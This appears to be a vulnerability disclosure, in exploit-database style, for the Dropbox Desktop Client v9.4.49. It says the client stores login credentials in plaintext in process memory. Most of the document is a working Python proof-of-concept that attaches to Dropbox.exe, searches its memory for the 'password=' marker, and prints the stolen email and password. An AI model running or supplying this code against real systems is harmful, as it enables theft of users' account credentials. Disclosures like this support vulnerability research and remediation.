#####
# Dropbox Desktop Client v9.4.49 is vulnerable to local credentials disclosure, the supplied username and password are stored in a plaintext format in memory process.
# A potential attacker could reveal the supplied username and password in order to gain access to account.
#####
# Proof-Of-Concept Code:

import time
import urllib
from winappdbg import Debug, Process

username    = ''
password    = ''
found       = 0
filename    = "Dropbox.exe"
process_pid = 0
memory_dump = []

debug = Debug()
try:
    print "[~] Searching for pid by process name '%s'.." % (filename)
    time.sleep(1)
    debug.system.scan_processes()
    for (process, process_name) in debug.system.find_processes_by_filename(filename):
        process_pid = process.get_pid()
    if process_pid is not 0:
        print "[+] Found process with pid #%d" % (process_pid)
        time.sleep(1)
        print "[~] Trying to read memory for pid #%d" % (process_pid)

        process = Process(process_pid)
        for address in process.search_bytes('\x26\x70\x61\x73\x73\x77\x6F\x72\x64\x3D'):
            memory_dump.append(process.read(address,100))
        for i in range(len(memory_dump)):
            email_addr  = memory_dump[i].split('email=')[1]
            tmp_passwd  = memory_dump[i].split('password=')[1]
            username    = email_addr.split('\x00')[0]
            password    = tmp_passwd.split('&is_sso_link=')[0]
            if username != '' and password !='':
                found = 1
                print "[+] Credentials found!\r\n----------------------------------------"
                print "[+] Username: %s" % urllib.unquote_plus(username)
                print "[+] Password: %s" % password
        if found == 0:
            print "[-] Credentials not found! Make sure the client is connected."
    else:
        print "[-] No process found with name '%s'." % (filename)

    debug.loop()
finally:
    debug.stop()
